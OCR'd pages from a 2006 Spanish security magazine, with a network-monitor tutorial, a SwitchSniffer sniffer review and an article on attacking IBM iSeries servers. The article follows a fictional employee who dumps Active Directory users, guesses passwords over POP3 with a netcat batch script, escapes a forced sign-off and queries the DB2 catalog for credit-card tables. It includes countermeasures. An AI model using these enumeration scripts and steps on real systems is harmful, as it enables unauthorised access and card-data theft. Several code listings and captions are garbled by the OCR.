la opcion Use FTP site authentication. No te olvides de
especificar cémo debe hacer el login el monitor de servi-
dor de red. Después establece unas cuantas reglas para
tu méaquina Windows Server 2003. Crea una nueva car-
peta con las mismas opciones que las del sistema SUSE
y cambia la IP/hostname/Logon credentials para tu servi-
dor Windows. Entra en la carpeta y crea una nueva regla
CPU Usage. Ajusta la carga de la CPU al 100%. A través
de un mensaje de error estandar fuerzas al monitor de red
areiniciar el servidor Win 2003 si se alcanza un uso de CPU
del 100%. Para hacerlo tienes que activar la opcion Reboot
the following computer en el menu de opciones Actions ->
Reboot Computer / Restart Services. Por ultimo, hay que
comprobar si todas nuestras reglas funcionan correcta-
mente. Para ello selecciona Monitoring Checks Status en el
explorador de la herramienta. Es bueno saber que la misma
informacion estara disponible a través de un navegador
web. — http://yourserver.com/: 11695 — Si los servicios
se inician con éxito, se mostrara Succeeded frente a las
reglas (de lo contrario veremos el estatus Failed). Si se da
el segundo estatus, GFI Network Monitor Tool te enviara un
email o puede que reinicie el sistema.
Otros rasgos utiles: Veras que no hay apenas limite
para lo que puedes inspeccionar o para lo que tu ser-
vidor puede hacer si algo va mal. Ademas, debes saber
que es posible hacer DNS lookup, whois y traceroute.
Si en tu red se encuentra una maquina compatible
SNMP, la herramienta incluye funciones SNMP Audit
y SNMP Walk.

Stefan Lochbihler E




Herramientas

SwitchSniffer

Sistema operativo: Windows NT4/2000/XP/2003
Licencia: Freeware

Aplicacién: Monitorizacion de redes LAN

Pagina oficial: http://www.nextsecurity.net

SwitchSniffer es una sencilla herramienta gratuita orientada a la monitorizacion
de redes locales de ordenadores, equipados con mecanismos basicos de ges-

tion y deteccién de abusos.

Inicio rapido: Trabajamos desde hace poco como
administradores de red en una pequefia empresa comer-
cial. El gerente nos ha encargado que detectemos qué
empleados de la empresa, en vez de dedicar su tiempo
al trabajo, se pasan el tiempo usando mensajeros de
comunicacion intantanea y aplicaciones peer-to-peer.
Dado que nuestro puesto de trabajo esta basado en
el sistema Windows, la red de la empresa en switchs,
y no contamos con ninguna herramienta comercial para
tests de penetracion, hemos decidimos emplear una
herramienta gratuita llamada SwitchSniffer destinada al
sniffing en redes conmutadas.

Para la ejecucién del programa necesitamos atribu-
tos de administrador, sin ellos la aplicacion puede mos-
trar un funcionamiento inestable. Tras la primera puesta
en marcha pasamos a la ventana de opciones. En la
pestafia Network seleccionamos la interfaz de red que
queremos escuchar. También recomiendo entrar en la
pestafia Spoof y poner Spoofing Types en <-> Gateway.
En algunas redes es necesario hacerlo para que el sni-
ffer trabaje correctamente.

Comenzamos nuestra tarea con el escaneo de la red
local (botdn Scan). El programa lo hace répida y eficaz-
mente, detectando todos los hosts activos en nuestro
segmento de la red. Estos aparecen en la lista Local
Hosts Info 'y en el arbol Up Hosts. Desplegamos el arbol
y con el boton derecho del raton elegimos Select All, asi
la busqueda englobara todos los hosts activos. Inme-
diatamente después pulsamos el botén Start — de este
modo el programa empezara a escuchar la informacion
de la red.

En la pestafia Local Hosts Info llega informacion
acerca de los ordenadores en la red local. SwitchSni-
ffer nos da los siguientes datos: el sistema operativo,
el nombre del ordenador, direcciéon IP, direccion MAC
y el fabricante de la tarjeta de red. Ademas, muestra el
tamano de los paquetes recogidos de la red, asi como
la velocidad de bajada y subida. Con la ayuda de Swit-
chSniffer podemos igualmente monitorizar el nivel de
uso de la red por los diversos empleados, lo que nos
puede indicar quién pierde el tiempo en vez de trabajar.
En la pestafia Remote Hosts Info tenemos los datos de
los hosts remotos. En Sessions Info hay informacion
de las sesiones establecidas en un momento dado. Las
pestafas en la ventana izquierda contienen respecti-
vamente: el arbol de los hosts locales (Local), el arbol
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de los hosts remotos (Remote), y el arbol de servicios
(Services).

Para llevar a cabo la tarea que nos ha encargado el
gerente, es suficiente con pasar a la pestafa Services en
la ventana izquierda del programa. En la lista encontra-
mos los servicios (puertos tipicos para los programas de
mensajeria instantanea, por ejemplo gg(8074), jabber-
client(5223)), tras desplegar el arbol de un servicio dado
vemos los hosts remotos con los que se comunican sus
usuarios, en cambio, si desplegamos el arbol junto a la
direccién del host remoto visualizamos los hosts locales
— 0 sea, los culpables que busca el gerente.

Otros rasgos utiles: El programa permite bloquear
sesiones y conexiones seleccionadas (mediante las
opciones accesibles tras pulsar el botén derecho del
ratén). De esta manera podemos no sélo examinar,
sino que también gestionar los servicios permitidos en
la red (en la pestana Definitions fijamos los servicios
permitidos, las direcciones MAC que se pueden emplear
de nuestra red, y observar los principios del filtrado del
movimiento). Asimismo permite la deteccion de ARP
Spoofing (pestana Detect and Alert en las opciones del
programa).

Defectos: No esta tan desarrollado como otros progra-
mas similares (por ejemplo, dsniff o Ettercap). También
pueden ocurrir problemas con su estabilidad (sélo esta
disponible en version beta). Sin embargo, la herramienta
es mas facil de usar, sobre todo para los administradores
principiantes, que los programas de la competencia.

Pawet Charnas ;
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SwitchSniffer en funcionamiento
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Tema caliente

Hackeando un servidor

IBM iSeries

Shalom Carmel

Grado de dificultad
o0

| servidor iSeries, también llamado
E AS/400 pertenece a la familia de

servidores de rango medio. Se usa
para aplicaciones multi-usuario, OLTP mul-
ti-tarea y aplicaciones de proceso de datos.
iSeries contiene en su interior una base de
datos DB2. Pueden utilizarse para ejecutar
aplicaciones antiguas (escritas en COBOL
o lenguajes RPG, principalmente), y tam-
bién modernas (C, C++, Java). Existen otros
lenguajes de scripting disponibles para esta
plataforma, limitados al mundo IBM, como
CLP y REXX.

Antiguamente, para trabajar en un servidor
as/400, teniamos que tener una terminal espe-
cial conectada a través de un cable Twinax.
Hoy la forma mas basica de conectarse al
iSeries es a través de un cliente telnet, que
funciona como un emulador de terminal. Rara
vez se utilizan los terminales Twinax, excepto
como consola del sistema. Ademas de telnet,
un sistema iSeries moderno contiene un con-
junto de servidores TCP/IP, incluyendo FTP,
TFTP, SMTP, POP3, DNS, LDAP, DHCP,
CIFS, y ODBC, asi como otros protocolos pro-
pietarios. Las maquinas iSeries pueden usarse
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4 Los servidores iSeries, también llamados AS/400, son usados por
empresas, bancos, compaiias de seguros, casinos y gobiernos.
La probabilidad es que alli donde haya una aplicacion basada

en iSeries, haya dinero de por medio. Al tener mas de 300.000
clientes y millones de usuarios por todo el mundo, es mas

que probable que algunas personas se conviertan en hackers
dispuestos a explotar estos sistemas en beneficio propio.

como servidores de aplicaciones, con Tomcat,
WebSphere, Apache y Domino, disponibles
para esta plataforma. Pueden encontrarse ser-
vidores usados en eBay a un precio que oscila
entre 4,000 y 5,000 dolares.

p
En este articulo aprenderas...

» cOémo enumerar usuarios y claves de acceso
por defecto de iSeries,
* cOmo esquivar algunas restricciones de usua-

rio,

* cOmo ejecutar comandos en iSeries de forma
remota,

* como escribir codigo fuente iSeries sin un edi-
tor,

* como engafar a las pantallas de acceso,
* como consultar el catalogo de la base de da-
tos.

Lo que deberias saber...

* como usar el sistema operativo Windows,

» fundamentos de gestion de bases de datos,
» fundamentos de los protocolos TCP/IP,

» algunos conocimientos de programacion.
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Clientes iSeries

La experiencia Optima de usuario
y la funcionalidad total se consiguen
cuando el cliente entiende la version
5250 de telnet. Hay emuladores espe-
cificos (comerciales y no-comerciales)
creados para iSeries. Son dignos de
destacar los siguientes:

»  IBM Client Access for iSeries — Ade-
mas de una emulacion de terminal
que requiere una licencia, CA400
incluye un monton de herramientas
y utilidades como controladores
ODBC, entornos graficos para
la administracién del sistema,
herramientas de transferencia de
archivos y otras. Si tienes disponi-
ble un iSeries, puede encontrarse
una version Windows de CA400
en el iSeries, dentro de la carpeta
/QIBM/ProdData/CA400/Express/
Install/lmage. En muchos casos, el
servicio Windows NetShare CIFS
se encuentra activo, y por defecto
contiene QCA400, mapeado a la
carpeta CA400. La pagina web de
CA400 se encuentra en http://www-
03.ibm.com/servers/eserver/iseries/
access/.

* tn5250j es un cliente tn5250 de
codigo abierto, basado en Java,
y puede encontrarse en http://
tn5250j.sourceforge.net/.

*  Aunque los productos de Mochasoft
son comerciales, estan disponi-
bles a un precio muy razonable,
y pueden probarse como sha-
reware antes de comprarlos: http://
www.mochasoft.dk.

Problemas de
seguridad en iSeries

Cuando usamos una base de datos
Oracle, Microsoft SQL, o incluso
DB2 en *NIX o Windows, la lista
de usuarios que pueden acceder
al servidor es diferente de la lista
de usuarios que pueden acceder
a la base de datos. En nuestra pla-
taforma, no hay separacion entre
los distintos tipos de usuarios. Una
combinacion de nombre de usuario
y clave de acceso para acceder via
telnet puede ser usada para acceder
via FTP, ODBC, y cualquier otro me-
todo que necesite autenticacion de
usuario. La diferencia se encuentra

sign on

uUser

(C) COPYRIGHT IBM CORP. 1980, 1999.

50011223
QINTER
QPDEV00001

System
subsystem . . . . :
Display . . . . . :

Figura 1. Pantalla de acceso Telnet de iSeries

en la autoridad sobre los objetos de
iSeries: comandos, programas, ar-
chivos y bibliotecas (hay otros tipos
de objetos mas esotéricos, pero esto
es irrelevante para nosotros en este
punto). La autoridad se gestiona en
el modelo ACL (Access Control List),
y se asigna a un usuario, a un grupo,
o aun rol.

Para muchos servicios TCP/IP,
IBM proporciona APIs, o hooks
programables, en el proceso de au-
tenticacion y autorizacion. Si quieres
permitir que el usuario X acceda via
telnet a una aplicacién OLT interacti-
va, pero quieres bloquear al mismo
usuario X para que no use FTP, ten-
dras que escribir tu propio programa
o comprar aplicaciones de terceros.

Los servidores iSeries solian sa-
lir de IBM con la mayor parte de los
servicios TCP/IP habilitados y acti-
vados por defecto. El administrador
iSeries es, por lo general, mas del
tipo programador de COBOL que
del tipo administrador de sistemas
que sabe la diferencia entre pop3
y ftp. Estos servicios se ejecutan
en segundo plano incluso aunque
no haya ningun motivo empresarial
para ello.

Demasiado a menudo, el modelo
de seguridad de una aplicacion OL-
TP esta basado en limitar el acceso
de los usuarios a un conjunto pre-
definido de pantallas y mendus, sin
cuidar adecuadamente la seguridad
ACL. Este tipo de modelo de segu-
ridad, combinado con la falta de una
gestion de seguridad completa para
los servicios TCP/IP es una receta
para el desastre.
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Contexto del escenario
La Corporacion Cadaverix Inc. fabri-
cay vende accesorios para ataudes.
Algunas de sus aplicaciones, inclu-
yendo la gestién de pedidos, factu-
ras y albaranes, residen en un nuevo
servidor IBM iSeries. Las razones
por las que se escogio esta platafor-
ma en lugar de otra son la disponi-
bilidad, la estabilidad y la seguridad
experimentadas por el gestor de la
informatica de la empresa durante
sus 15 afios de experiencia en Tec-
nologias de la Informacion.

Julius Krupp solia trabajar como
director IT de atencion al cliente en
una empresa de Tecnologias de la
Informacién, pero su caracter curio-
so e intrigante le causo intermina-
bles conflictos con sus superiores,
destruyendo su carrera profesional.
Solicitd un trabajo similar en Cada-
verix, pero cuando le ofrecieron un
trabajo como técnico de atencion
al cliente lo acept6. Hoy no esta
satisfecho con su posicién. Cree
que le han pasado por encima a la
hora de ascender. Cree que merece
una compensacion de su empresa, y
después de hacer algo de investiga-
cion por su cuenta decide jugarse el
todo por el todo, y obtener la infor-
macion de las tarjetas de crédito de
los clientes, que se almacena en la
base de datos DB2 del iSeries.

Baltasar Ogus es el BOFH res-
ponsable del buen funcionamiento
del iSeries, de Windows y de los Ser-
vidores de Correo Electronico. Ha
heredado la configuracion actual del
anterior administrador del sistema
hace un par de afios, y hasta ahora
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Tabla 1. Parametros Idapsearch para la obtencién de cuentas Active

Directory

=l

=12

=1

Nombre del servidor AD.

Nombre del Puerto. En nuestro caso utilizaremos
3268, dado que es el puerto del servicio de cata-
logo global AD, en lugar del puerto estandar LDAP
389, porque el catalogo global nos da una vista
plana de todos los dominios locales.

Timeout en segundos. Una peticion LDAP extensa

puede requerir bastante mas tiempo que los 15
segundos por defecto para ser completada.

-p (optional)

El nombre distintivo del usuario que hace la

peticion. Este parametro se requiere cuando el
servidor LDAP se ajusta para rechazar consultas
anonimas. En este caso, el valor del parametro -D

deberia ser:

cn=Julius Krup, OU=CS,DC=UK,DC=Cadaverix

-w (optional)

ha sido suficiente acceder un par de
veces al dia al servidor iSeries para
ver el estatus del sistema. Ocasional-
mente lo hace cuando recibe alguna
llamada sobre pedidos retrasados,
usuarios que no pueden acceder
y otros problemas no previstos. Esta
demasiado ocupado haciendo otras
cosas mas importantes.

Enumeracion de

Usuarios

Julius tiene una estacion de trabajo
instalada desde una imagen estan-
dar, que incluye el iSeries Client
Access (cliente de acceso iSeries),
con una emulacién para el iSeries
(véase apartado iSeries Clients),
pero desafortunadamente no tiene
una cuenta de usuario en el servi-
dor. Julius trata de buscar qué usua-
rios existen en el servidor iSeries,
para usar sus cuentas en provecho
propio. Asume que algunas cuentas
de usuario pueden ser similares
a las cuentas de usuario existentes

La clave de acceso de la cuenta en -p.

en el Directorio Activo de la empre-
sa. Por supuesto, siendo un emplea-
do, Julius tiene una cuenta valida
en el servidor Active Directory de
Cadaverix. Instala un cliente LDAP
(véase apartado Clientes LDAP)
y después de una hora de trabajo
es capaz de descargar la lista de
usuarios en su PC.

Julius recuerda que la sesion tel-
net muestra mensajes informativos
sobre el estatus del perfil de usuario,
y decide probar las cuentas recogi-
das del AD en la pantalla de acceso
del iSeries. Intenta acceder con una
clave igual al nombre de usuario, por
la ley del minimo esfuerzo. Durante
los primeros 2 intentos, recibe los
siguientes mensajes:

CPF1120 - User AABBA does not exist.

CPF1120 - User AANGEL does not exist.

Al tercer intento, para el usuario
AAPCZI, obtiene el siguiente men-
saje:

Command Prompt - ftp s0011223.trupex.com _l

d:
og on attempt by user AARCHER rejected.

Figura 2. Intento de conexion FTP
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Clientes LDAP

Hay varias posibilidades para obtener
herramientas LDAP. Las dos mas im-
portantes son LdapBrowser de Softerra
y la herramienta de linea de comandos
Idapsearch que puede obtenerse como
parte de SunONE directory server SDK
(gratuito). La sintaxis de comandos pa-
ra Idapsearch, es la siguiente:

$ ldapsearch -h adserver -p 3268
-1 3600 \
" (& (cn=*) (objectclass=user) )"

cn samaccountname > users.txt

Los parametros del comando /dapsear-
ch se explican en la Tabla 1.

N

CPF1107 - Password not correct <+

for user profile.

Julius ahora tiene un nombre de
usuario valido en el servidor. Lo
intenta de nuevo con el usuario
AAPFEL pero ahora el mensaje que
recibe es:

CPF1116 Next not valid sign-on <«

attempt varies off device.

Julius se da cuenta de que a pesar
de los mensajes de informacion
obtenidos por el servidor interactivo
telnet, este tipo de actividad puede
atraer la atencion del administrador
iSeries, porque cuando un dispositi-
vo es “varied off; se le envia un men-
saje al administrador del sistema.
Podria crear una situacion parcial de
denegacion del servicio agotando el
espacio virtual del dispositivo, pero
no es ésta su intencion.

Julius decide buscar un camino
alternativo. Debe encontrar otra
forma, menos intrusiva, para obtener

e
Interceptando claves

de acceso iSeries

Las conexiones clasicas iSeries no
son encriptadas en la red. Esto incluye
a telnet, FTP, ODBC, POP3 y a casi
cualquier otra cosa. La plataforma so-
porta secure telnet, secure FTP y SSH,
pero hay dudas acerca de que estos
modos seguros sean usados de forma
significativa en el mundo iSeries.

www.hakin9.org
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< +0K POP3 server ready

USER AANGEL

+0K POP3 server ready

PASS AANGEL

-ERR Logon attempt invalid CPF2204
USER AAPCZI

+0K POP3 server ready

PASS AAPCZI

-ERR Logon attempt invalid CPF22E2
USER QSYSOPR

+0K POP3 server ready

PASS QSYSOPR

-ERR Logon attempt invalid CPF22E3

ANV AV AV AV AV AV

\

Listado 1. Script de enumeracién manual POP3

Tabla 2. Codigos de error POP3

Cédigo de Error | Significado

CPF2204

CPF22E3

CPF22E5

usuario

Perfil de usuario no encontrado

Perfil de usuario deshabilitado

No hay clave de acceso asociada a este perfil de

Tabla 3. Comparacién de protocolos para la enumeracién de usuarios

Caracteristica

Indicacion de la existencia del usuario

Indicacion de acceso con éxito

Deshabilitacién del perfil de usuario

No monitorizacion de API de seguridad

Telnet | FTP

5250

-

echo off

setlocal

set AS400Host=as400.cadaverix.com

set POP3=110

set UsersFile=pop3_as400_users.txt

set ScanResults=nc_pop3_scan.txt

set TempFile=}pop3{.txt

for /F %%U in (%UsersFile%) do (
echo user %%U > $TempFile$%

echo pass $%U>>%TempFile$%

echo quit>>%TempFile%

echo 530
type $TempFile%

)

endlocal

del %TempFile%

\

>>%ScanResults$%
| nc -i 1 -w 1 %AS400Host%

Listado 2. Script de enumeracion automatizada POP3

$POP3%>>%ScanResults?

acceso ilegal. Primero, escaneara el
servidor con NMAP descubriendo
que hay muchos puertos abiertos,
incluyendo los puertos 21y 110, usa-
dos regularmente por FTP y POP3.

Julius comprueba si los puertos
son reales. Por la naturaleza de las
cuentas de usuario en los servidores
iSeries, un usuario FTP es sinénimo
de un usuario interactivo regular. Un
login invalido a través de otros servi-
cios que no sean telnet no hace vary
off de ningun dispositivo iSeries, por
lo que es menos probable que sea
detectado. Julius lo intenta primero
con FTP (véase Figura 2).

El problema con FTP es que
Julius no sabe si la clave de acceso
de AARCHER es errbnea, o si AAR-
CHER no es una cuenta valida. Por
su ubicuidad, se sabe que FTP es el
servicio mas popular para instalar
trampas de seguridad. Julius decide
que FTP sera su ultimo recurso, y se
centrara en POP3. Hace un telnet
al puerto 110, y descubre, para su
sorpresa, que hay un servidor POP3
funcionando en el servidor iSeries.

Julius busca en google infor-
macién sobre POP3 e iSeries,
y descubre que, como telnet, POP3
en iSeries también proporciona men-
sajes de error informativos. También
descubre que no hay APIls de segu-
ridad asociadas con POP3 — menos
probabilidades de ser atrapado.

Procedera a probar algunos
usuarios de forma manual (véase
Listado 1). Los significados de los

-
Comparacion entre

telnet, FTP y POP3 para
la enumeracion

de usuarios

Si esta disponible, el protocolo POP3
es la mejor opcidén para la enumeracion
de usuarios. Es altamente informativo,
y a no ser que la auditoria de seguridad
del sistema esté activada, es virtual-
mente indetectable, no deja huellas.
Aun con la auditoria de seguridad
activada, las entradas de registro para
los errores de autenticacion no son
suficientemente detalladas como para
permitir el rastreo del ataque. Véase la
Tabla 3 para mas informacion.
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======= myhite =========

+0K POP3 server ready

+0K POP3 server ready

-ERR Logon attempt invalid CPF2204
======= nanaftp ===
+0K POP3 server ready

+0K POP3 server ready

+0K start sending message

======= napfel =========

+0K POP3 server ready

+0K POP3 server ready

-ERR Logon attempt invalid CPF22E2

+0K server quitting

+0K POP3 server ready
+0K POP3 server ready
-ERR Logon attempt invalid CPF22E3

Listado 3. Resultados del script de enumeracion POP3

codigos recibidos (y algunos mas)
se indican en la Tabla 2.

Julius decide escribir un batch
file script de Windows, burdo y rapido
(véase Listado 2) para probar la lista
de usuarios obtenida de Active Direc-
tory. Escoge netcat como herramien-

ta. El archivo pop3_as400_users.txt
contiene la lista de usuarios, y los re-
sultados se escriben en el archivo nc_
pop3_scan.txt. El ejecutable netcat
debe estar en el path de ejecucion.
Julius deja su estacion de trabajo
funcionando, apaga el monitor, y se va

~

Contramedidas para evitar la enumeracion

de usuarios

Para dar a Baltasar, el administrador del sistema, algo de reconocimiento, los valores
del sistema responsables de la identificacion de terminales tras intentos de registro fa-
llidos, estan definidos correctamente. El valor de sistema QMAXSIGN indica cuantos
intentos erroneos se permiten, y el valor de sistema QWAXSGNACN indica qué hacer
tras los intentos erréneos de acceso. Julius recibié un mensaje que decia que el proxi-
mo intento fallido denegaria el acceso desde el dispositivo. La cuestion es si Baltasar
leera o no las alertas sobre intentos de acceso fallidos, y la respuesta es que proba-
blemente no lo haga. Las alertas no se crean en la cola de mensajes de Operadores
del Sistema que por lo general es utilizada por las herramientas de alerta en el iSeries,
sino en el registro de sistema que por lo general se lee de forma manual.

Baltasar tampoco hizo una serie de cosas que podrian mitigar los riesgos de enu-
meracion de usuarios. Podria haber cambiado los mensajes de informacién enviados
tras intentos fallidos de acceso telnet, sustituyéndolos por mensajes genéricos que no
revelen informacion. Ha dejado también servicios innecesarios en funcionamiento, co-
mo POP3. Sino los usas —apagalos. Si trabajas en uno de esos raros sitios que utilizan
iSeries para la gestiéon de correo entrante, al menos sé consciente de los riesgos.

Baltasar tampoco comprobé con la frecuencia debida la existencia de alguna
clave de acceso por defecto, aunque exista una utilidad muy sencilla, incluida en el
propio sistema, para hacerlo — el comando ANZDFTPWD. Por ultimo, pero no menos
importante — Baltasar no activé la auditoria de seguridad que registra todos los inten-
tos fallidos de acceso, incluyendo aquellos que proceden de POP3. La auditoria de
seguridad es la unica forma de capturar los errores en el acceso a servidores iSeries
por restricciones de acceso. Esta configuracion y los errores en la gestion del sistema
le costaran muy caros a Cadaverix.

Podemos ver que hay una relacion directa entre la seguridad y la reduccion de
costes en la gestion IT. Una politica corporativa que defina nombres estandar de
usuario implica que pueda llegar a adivinarse los nhombres en todos los sistemas.
Usar imagenes de disco estandar para las estaciones de trabajo individuales ahorra
un montén de tiempo, pero también puede incorporar en dichas estaciones funciona-
lidades no necesarias.

a casa a disfrutar de un descanso bien
merecido. A la mafiana siguiente, el
script ha terminado de ejecutarse y el
fichero nc_pop3_scan.txt contiene los
resultados (véase Listado 3).

Julius busca en el fichero cuatro
tipos de usuario: CPF22E2 significa
que el perfil de usuario es valido
pero la clave de acceso es desco-
nocida. CPF22E4 quiere decir que
el usuario no puede acceder en este
momento, por lo que tal vez sea una
oportunidad para intentar algo de
ingenieria social a través del servicio
técnico. CPF22E3 y +OK start sen-
ding message significa que el usua-
rio tiene una clave por defecto. Julius
establece que existen 45 usuarios,
la mayoria de ellos activos, pero con
una clave de acceso desconocida.
A pesar de ello, sabe que ha dado en
el blanco con NANAFTP (véase Lis-
tado 3). La clave de acceso de este
usuario es igual a su nombre.

Haciendo inventario
Julius tuvo éxito para conseguir ac-
ceder al servidor iSeries, pero esto
es solo el principio de su aventura.
Ahora debe buscar el lugar donde
se encuentra el tesoro de la infor-
macioén, y burlar cualquier restriccion
de acceso que se interponga en su
camino.

Active Directory lista NANAFTP
como FTP finance. Julius se da
cuenta de que este usuario se utiliza
para la trasmision de archivos entre
distintos sistemas, y probablemente
tiene un acceso muy limitado a los
servicios iSeries. A pesar de ello,
Julius trata de acceder a una sesion
interactiva telnet usando NANAFTP
como nombre de usuario y clave de
acceso. No hay sorpresas, pero tras
el registro aparece la pantalla que
podemos ver en la Figura 3.

Julius intenta un truco que puede
usarse para burlar una desconexion
automatica forzosa. La tecla ATTN,
mapeada a [Esc] en un teclado PC,
proporciona por defecto asistencia
operacional a un usuario AS/400 in-
teractivo, haciendo aparecer un me-
nu que contiene enlaces a las tareas
mas comunes que puede realizar un
usuario, y a informacién adicional

hakin9 N° 2/2006

www.hakin9.org




Tema caliente

Press Enter to continue.

F3=Exit Fl2=Cancel

Display Progran Messages

Job 061906/NANAFTP/MQPDEVO00G started on 01/03/05 at 14:08:55 in subsystem QINTER
Initial program ended and *SIGNOFF specified for initial menu.

Figura 3. Desconexion automatica

ASSIST

1. work with printer output
2. Work with jobs

3. work with messages
4. Send messages
5. Change your password

80, Temporary sign-off

Type a menu option below

Fl=Help F3=Exit Fo=Conmand line

05/400 Operational Assistant (TM) Menu

; : System:
To select one of the following, type its number below and press Enter:

75. Information and problem handling

12=Cance]l

50011223

Figura 4. La tecla ATTN hace aparecer el Asistente Operacional 0S/400

sobre el sistema. La pantalla de
desconexion automatica se muestra
mientras la sesidon aun esta activa, lo
que hace que la tecla ATTN también
se encuentre activa.

Si  NANAFTP hubiera estado
definido como un usuario sin restric-
ciones, Julius habria podido obtener
acceso interactivo, el equivalente
iSeries a una shell *NIX. Pero resulta
que NANAFTP tiene una cuenta con
capacidades limitadas, y no puede
ser usada para interactuar. Como la
mayor cantidad de trabajo que queda
por hacer tiene relacion con la base de
datos iSeries y como las herramientas

nativas iSeries siguen estando blo-
queadas, Julius decide utilizar ODBC
para su exploracion del servidor.

ODBC al rescate

Una vez que esta estacion de trabajo
ha sido configurada con éxito para
conseguir conectividad ODBC con el
servidor iSeries, Julius empieza una
sesion de reconocimiento para eva-
luar el inventario de datos. Empieza
por consultar posibles candidatos en
el catalogo DB2. El catalogo DB2 es
una serie de tablas y vistas que contie-
nen informacion sobre los esquemas,
tablas, columnas, vistas, restricciones,

Tabla 4. Lista de control de acceso para el archivo de tarjetas de crédito

| USUARIO | AUTORIDAD SOBRE OBJETO  |OBJETO  |BIBLIOTECA [TIPO [DUENO |

SSA42 *ALL
BOGUS *CHANGE
QSECOFR *ALL
*PUBLIC *EXCLUDE
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APLIBF QSYS
APLIBF QSYS
APLIBF QSYS
APLIBF QSYS

funciones y procedimientos almace-
nados en la base de datos. El catalogo
contiene entradas incluso para objetos
de la base de datos que fueron crea-
dos usando los métodos tradicionales
AS/400, no-SQL.

Primero, Julius busca nombres de
tablas cuyas descripciones contengan
las cadenas credit, card, o cc, y que no
residan en bibliotecas de sistema (que
empiezan por la letra Q). También filtra
los indices, vistas y alias, dejando sélo
las tablas reales, que se denominan
Physical Files en la jerga de iSeries.

select system table name,
system_table_ schema,
file type, table text,
column_count
from gsys2.systables
where system table schema
not like 'Q%'
and ( lower(table text)
like '%credit%'
or lower (table text)
like 'Scard%'
or lower (table text)
like '%cc%' )

and table type != 'L';

Para mejorar sus resultados, Julius
también busca descripciones de
columnas:

select system table_schema,
system_table name,
system_column_name,
column_text, data type,
length, numeric scale,
numeric precision
from gsys2.syscolumns
where system table schema
not like 'Q%'
and (lower (column_text)
like '%credit%'
or lower (column_text)
like '%card%'
or lower (column_text)

like '%cc%' )

*LIB SSA42
*LIB SSA42
*LIB SSA42
*LIB SSA42
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ODBC y JDBC para iSeries

Hay muchas fuentes para obtener un controlador ODBC para * ODBC también esta disponible para Linux, en

bases de datos basadas en iSeries DB2. Algunos de ellos son: http://www-03.ibm.com/servers/eserver/iseries/access/

linux.

* El producto Client Access contiene un controlador ODBC. « Otra opcién para la conectividad de la base de datos
Puedes encontrar Client Access en un servidor iSeries. es JDBC. Puedes conseguir sus controladores gracias
Esté situado en la carpeta /QIBM/ProdData/CA400/Express/ IBM, en el archivo jt400.jar, que se encuentra conve-
Install/lmage. En muchos casos, el servicio Windows NetSha- nientemente situado en la carpeta /QIBM/ProdData/
re CIFS esta activo, y por defecto contiene QCA400 que esta HTTP/Public/jt400/lib/. Si prefieres soluciones de codi-
mapeado a la carpeta CA400. go abierto, puedes echar un vistazo al proyecto JTOpen,

*  Microsoft proporciona un controlador ODBC para iSeries en financiado por IBM, en http://www-03.ibm.com/servers/
su producto Host Integration Server. eserver/iseries/toolbox/downloads.html.

En un anuncio reciente, Microsoft publicé un controlador OLE DB | as Figuras de 5 a 15 demuestran cémo configurar el contro-

gratuito (para usuarios MS-SQL) para iSeries. Esta disponible en:  |lador ODBC IMB iSeries, y cémo usarlo con una herramienta

http.//www.microsoft.com/downloads/details.aspx ?familyid=D09C  que existe en cualquier instalacion de Microsoft Office: MS-
1D60-A13C-4479-9B91-9E8BID835CDC&displaylang=en. Query.
J
2] =
]
General ISewerl F"ackagas] Perfofmance] Languagel Calalogl Tlanslalionl Diagnnslic] Cancal_|
| B
Data source name: Opsons._|
|as4[ll1l|upex_com D |
Description: G| Lt Duery Wi 1o crestesedt quesies

|iSe|ies Access for Windows ODBC data source Figura 7. Escogiendo una fuente de

System: datos
|A54UI1TFIUF'EX. COM :‘ Connection Options... I
[sronontoisedes N TEY|
. Sevec  [ASionTAUPERCOM
[ ok | cocel | amb |  Hep | R —
pessword [
Figura 5. Creando un DNS para iSeries DB2 o] _omes |
— el nombre de servidor o la IP es el unico campo obligatorio para rellenar
una nueva definicion DNS, dejando el resto de las opciones con sus Figura 8. Introduce el nombre y la
valores por defecto clave de acceso
E3 Microsoft Excel - Book1
') Fle Edit view Insert Format Tools | Data | Window Help Speech  Acrobat 21x|
DEHam SRY & BEH - b -0, ME.
Al -0 -8B £ ol B 'g|eEsEln- A
Al = 7 Form...
A ] B [ ¢ [ D Subotals... e e e 2
; | Validation... -
Ex Table...
4 Text to Columns... b T
% Consolidate. ., _I M
Ea Group and Outline » Schema:  [<al> |
i [3 PivotTable and FivotChart Report... Detabore. | =l
10 Import External Data ] X mport pata...
o Wil -+ Dbkl Figura 9. Séltate la manipulacion de
% 3 m ?“_fba’em"' la base de datos — sélo necesitamos
15 | e un camino directo para escribir las
] B respuestas SQL
! Entonces compara las dos listas,
Figura 6. Iniciando MS-Query desde Excel — MS-Query puede ser y descubre que la tabla XACC de la bi-
iniciado usando MSQRY32.EXE desde la carpeta de Office, ejecutarla blioteca APLIBF parece un excelente
desde Excel permite almacenar los resultados con facilidad en un lugar candidato para albergar los datos de
permanente las tarjetas de crédito. La cuestion es:

www.hakin9.org hakin9 N° 2/2006




Tema caliente

SQL

SOL statement:

21

d SaL

_;L e

'%cc%' ) and table_type ="'

select system_table_name, system_table_schema, file_type,
table_text, column_count from gsys2.systables where
system_table_schema not like 'El/' and [ lower(table_text) like ‘%
cledlt/.' or Iowel[table text] like 'Zcard®' or lower(table_text) like

Cancel I

o] _uew |

[—

Figura 14. El mensaje que indica
el éxito en la insercion — de la
misma manera, puedes ejecutar
programas y procedimientos
almacenados, aunque el mensaje
de confirmacién puede ser algo
diferente

Ji4|

Figura 10. Pulsa el botén SQL — esto es el SQL ejecutado por Julius

;". Microsoft Query - [Query from as400.trupex]

E\:File Edit h‘iew Forrnal: Table _riteria Records Window Help

& [

E_TYPE

A
F4

_;L E 4 s0L Ily: 1 rows affccted

| (w22

TABLE_TEXT

Figura 15. Ejecucion con éxito

COLUMN_COl| »

svsnzu TABLE m] svsn:u mnu: sul FIL
_[GSBOTI APLIBF D
|GH APLIBF D
_|zqEca APLIBF D
__|GCS APLIBF D
__|GCH APLIBF D
| GvROll APLIBF D
__|RARD2 APLIBF D
_|GsB APLIBF D
| RaR0l APLIBF D
__|GCR APLIBF D
_|GTA APLIBF D
_|FACC ABCTOOLS D
|2x302 APLIBF b)
| IBMSNO0OD3 ASN D
| GCRX05 APLIBF D
6L APLIBF D
__|XGIL APLIBF D
| GIHOI APLIBF D
G APLIBF D
T |GIxo1 APLIBF D
| FRSwO1 APLIBF D
_|ecc APLIBF D
| GCHO1l APLIBF D
= APLIBF D
